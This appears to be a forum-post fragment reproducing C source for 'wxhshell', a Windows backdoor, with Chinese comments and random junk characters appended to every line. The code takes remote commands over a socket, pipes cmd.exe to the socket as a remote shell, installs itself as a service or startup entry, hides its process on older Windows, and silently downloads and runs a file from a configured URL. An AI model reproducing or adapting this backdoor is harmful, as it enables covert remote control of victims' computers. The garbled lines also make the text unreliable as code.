      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]pb3 Fm{  
    break; *| 'k  
  } 9%8T09I!  
  // 安装 +oc}kv,h]  
  case 'i': { Wr;)3K  
    if(Install()) gS!M7xy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DWDe5$^{  
    else Zn/1uWO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (NP=5lLH  
    break; GIp?}tM  
    } n D?XP<9UU  
  // 卸载 m&2m' =(  
  case 'r': { aLr^uce]  
    if(Uninstall()) i ):el=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{X;|-DK[  
    else  W* YfyM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,v/C-b)I  
    break; DZvpt%q  
    } dg-pwWqN  
  // 显示 wxhshell 所在路径 BJvVZl2h  
  case 'p': { UV=TU=A\o  
    char svExeFile[MAX_PATH]; .Xr_BJ _  
    strcpy(svExeFile,"\n\r"); {\k9%2V*+  
      strcat(svExeFile,ExeFile); Mc.KLz&,FC  
        send(wsh,svExeFile,strlen(svExeFile),0); ~"(1~7_  
    break; `g#\ Ws  
    } TYp{nWwi  
  // 重启 PUI.Un2C_  
  case 'b': { GYj`-t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gpPktp2  
    if(Boot(REBOOT)) hPl;2r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dK=BH=S2?X  
    else { pz(clTOD:  
    closesocket(wsh); ?C_%"!GR  
    ExitThread(0); 6rk/74gI,a  
    } KxvT}"k  
    break; ,y^By_1wS  
    } wH<S0vl   
  // 关机 n_5g:`Y  
  case 'd': { tZ(Wh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /(Y\ <  
    if(Boot(SHUTDOWN)) Bk8U\Ut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8F%T Z M  
    else { M 3^p,[9r#  
    closesocket(wsh); g?`w)O 7v  
    ExitThread(0); !0cfz5t  
    } Kl^Yq  
    break; s4w<X}O_  
    } UHXlBH@  
  // 获取shell %o~zsIl  
  case 's': { 0DN:{dJz  
    CmdShell(wsh);  3o/f#y  
    closesocket(wsh); uH`ds+Hp  
    ExitThread(0); aPWFb.JO4  
    break; [QeKT8  
  } "5{\0CfS  
  // 退出 4((Z8@iX/  
  case 'x': { )p&xpB(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]J~5{srq:  
    CloseIt(wsh); ImgKqp0Z  
    break; (|Xf=q,Le  
    } &%^[2^H8"  
  // 离开 z8A`BVqI  
  case 'q': { l.C {Ar  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O'(qeN<^w  
    closesocket(wsh); f3nib8B'  
    WSACleanup(); i2y?CI  
    exit(1); j&8U:Q,  
    break; B^eea[  
        } +1e*>jE  
  } g-6!+>w*>e  
  } 2-2'c?%  
? [ =P  
  // 提示信息 Oy z=|[^,W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u6I# D _  
} C}45ZI4  
  } Rd2*  
1V)0+_Yv  
  return;  =#8J9  
} NAL%qQ  
5-n N8qs  
// shell模块句柄 @w@rW }i0  
int CmdShell(SOCKET sock) wjpkh~ qo  
{ 7GKeqv  
STARTUPINFO si; IWTD>c).  
ZeroMemory(&si,sizeof(si)); F/mD05{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8amtTM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 594$X@ !v  
PROCESS_INFORMATION ProcessInfo; \,~gA   
char cmdline[]="cmd"; 0\u_ \%[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F YcC2TM  
  return 0; |Y:T3hra61  
} InRn!~_N  
yl|+D]  
// 自身启动模式 2f F)I&  
int StartFromService(void) )-[X^l j  
{ Y ||!V  
typedef struct n1$p esr  
{ 2_UH,n  
  DWORD ExitStatus; ?jy^WF`  
  DWORD PebBaseAddress; l~!#<=.  
  DWORD AffinityMask; ^]OD+v  
  DWORD BasePriority; =w,%W^"E  
  ULONG UniqueProcessId; ^1}}-9q  
  ULONG InheritedFromUniqueProcessId; hX_;gR&R  
}   PROCESS_BASIC_INFORMATION; >C@fSmnOM  
a ipvG  
PROCNTQSIP NtQueryInformationProcess; ] 5c|  
gn7pIoN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 76xgExOU?C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =yk#z84<  
|qfnbi-\  
  HANDLE             hProcess; D`iWf3a.  
  PROCESS_BASIC_INFORMATION pbi; L[<MBgF Kv  
q18dSu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L[ rJ7:  
  if(NULL == hInst ) return 0; lkBab$S)  
O`H[,+vm[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +HUI1@ql  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (,HA Os  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }?"f#bI  
yU&A[DZQ  
  if (!NtQueryInformationProcess) return 0; B-JgXW.\0  
RDk{;VED{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F^KoEWj[H  
  if(!hProcess) return 0; ?^0#:QevC  
WF_G GF{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6$2)m;| XY  
/9W-;l{=z  
  CloseHandle(hProcess); y%p&g  
L2AZ0E"ub  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -x5^>+Y4  
if(hProcess==NULL) return 0; o"K{^ L~u  
@~/LsYA:  
HMODULE hMod; 1,BtOzuRo  
char procName[255]; j @sd x)1+  
unsigned long cbNeeded; ,odjL6u  
aZ#c_Q#gZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =OTwP  
}4\>q$8'  
  CloseHandle(hProcess); X=_N7!  
;\( wJ{u?Y  
if(strstr(procName,"services")) return 1; // 以服务启动 \Ui8Sgeei  
J1&G1\G|s=  
  return 0; // 注册表启动 GiI2nHZc  
} .#EmE'IP*  
:8Mp SvCV  
// 主模块 AgO:"'c  
int StartWxhshell(LPSTR lpCmdLine) /tx_I(6F?|  
{ &&TQ0w&T  
  SOCKET wsl; ad }^Dj/  
BOOL val=TRUE; wQ@@|Cj4L  
  int port=0; WRL &tz  
  struct sockaddr_in door; #W'jNX,h  
>=[w{Vn'Mf  
  if(wscfg.ws_autoins) Install(); ,]1K^UeZ  
!dStl:B  
port=atoi(lpCmdLine); 3x.|g   
V1;n5YL  
if(port<=0) port=wscfg.ws_port; a{,EX[~b  
$nBzYRc"3  
  WSADATA data; VI[ikNpX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FG1$_zN |  
a4O!q;tu7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PtwE[YDu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :W8DgL>l  
  door.sin_family = AF_INET; / IAK'/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { ~FYiX  
  door.sin_port = htons(port); 8xZN4ck_@  
lRX*\ M\`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { , B h[jb`y  
closesocket(wsl); )# M*@e$k  
return 1; Ga"$_DyM  
} 5}E8Tl  
kMf]~EZ?  
  if(listen(wsl,2) == INVALID_SOCKET) { )nTOIfP2  
closesocket(wsl); mvlK ~c8  
return 1; q?e97a  
} >/eQjp?:  
  Wxhshell(wsl); @ 4j#X  
  WSACleanup(); {pm>F}Cwy  
]7fqVOiOu  
return 0; J'.U+XU  
hA/K>Z  
} 6ZR'1_i6i=  
r8}GiP0|  
// 以NT服务方式启动 RWz^ MV5K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y!)Z ^u  
{ tAPqbi$a  
DWORD   status = 0; lpj$\WI=  
  DWORD   specificError = 0xfffffff; %koHTWT+  
` ` 6?;Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C$b$)uI;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hd8:|_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +}J2\!Jw  
  serviceStatus.dwWin32ExitCode     = 0; w-"o?;)a  
  serviceStatus.dwServiceSpecificExitCode = 0; %, XyhS5[o  
  serviceStatus.dwCheckPoint       = 0; yv[ s)c}  
  serviceStatus.dwWaitHint       = 0; vB#&XK.aW  
Cn[`]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U8\[8~Xftn  
  if (hServiceStatusHandle==0) return; ,ZC^,Vq  
l{E+j%  
status = GetLastError(); 5kofO  
  if (status!=NO_ERROR) #xNLr   
{ ZS4lb=)G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; { P&l`  
    serviceStatus.dwCheckPoint       = 0; LTm2B_+  
    serviceStatus.dwWaitHint       = 0; .UU BAyjm  
    serviceStatus.dwWin32ExitCode     = status; oZA?}#DRl  
    serviceStatus.dwServiceSpecificExitCode = specificError; '/Hx0]V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mflH&Bx9  
    return; !/BXMj,=  
  } ezY _7  
"'~'xaU!=a  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F9^8/Z  
  serviceStatus.dwCheckPoint       = 0; N;9@-Tb  
  serviceStatus.dwWaitHint       = 0; d@8=%x:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u0Fu_Rtr  
} oL2|@WNj,  
}`{aeVHT  
// 处理NT服务事件,比如:启动、停止 {]n5h#c 5*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @K7#}7,t  
{ U:M?Ji5CY  
switch(fdwControl) /0uZ(F|>I  
{ #e((F,1z  
case SERVICE_CONTROL_STOP: Bq#?g@V  
  serviceStatus.dwWin32ExitCode = 0; weEmUw Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rL w,?  
  serviceStatus.dwCheckPoint   = 0; Ont4-AP   
  serviceStatus.dwWaitHint     = 0; 9_n!.zA<  
  { i<YatW~Pu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |-bSoq7t  
  } 1NtN-o)N?  
  return; >t<FG2  
case SERVICE_CONTROL_PAUSE: c8v+eyn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IX7<  
  break; P%]li`56-c  
case SERVICE_CONTROL_CONTINUE: HcXyU/>D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lUJ/ nG0l  
  break; ]2T=%(*  
case SERVICE_CONTROL_INTERROGATE: @V Bv}Jo  
  break; ]!E|5=q  
}; ):   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R+ lwOVX  
} " 6Hka{  
==F[5]?  
// 标准应用程序主函数 R%Gh4y\nF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RXP0 4  
{ U N1HBW;  
: |#Iw  
// 获取操作系统版本 q+>J'UGb  
OsIsNt=GetOsVer(); %=xR$<D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o$FqMRep  
)q&=x2`  
  // 从命令行安装 s? @{  
  if(strpbrk(lpCmdLine,"iI")) Install(); +R@5e+auQ.  
K'+GK S7.  
  // 下载执行文件 *Em 9R  
if(wscfg.ws_downexe) { [ Lt1OdGl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .iNPLz1  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8zP{Cmm  
} vz</|s  
O4ciD 1  
if(!OsIsNt) { B @H.O!  
// 如果时win9x,隐藏进程并且设置为注册表启动 , |CT|2D>  
HideProc(); rR@ t5  
StartWxhshell(lpCmdLine); I2hX;pk,  
} "Sz pFw  
else wXIsc;  
  if(StartFromService()) aL$m  
  // 以服务方式启动 .?UK`O2Q  
  StartServiceCtrlDispatcher(DispatchTable); v|C)Q %v  
else h7c8K)ntnf  
  // 普通方式启动 X3vTyIsn  
  StartWxhshell(lpCmdLine); uvz}qH@j/Q  
V'sp6:3*\  
return 0; ??5qR8n.  
}
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只看该作者 1 发表于: 2006-10-10
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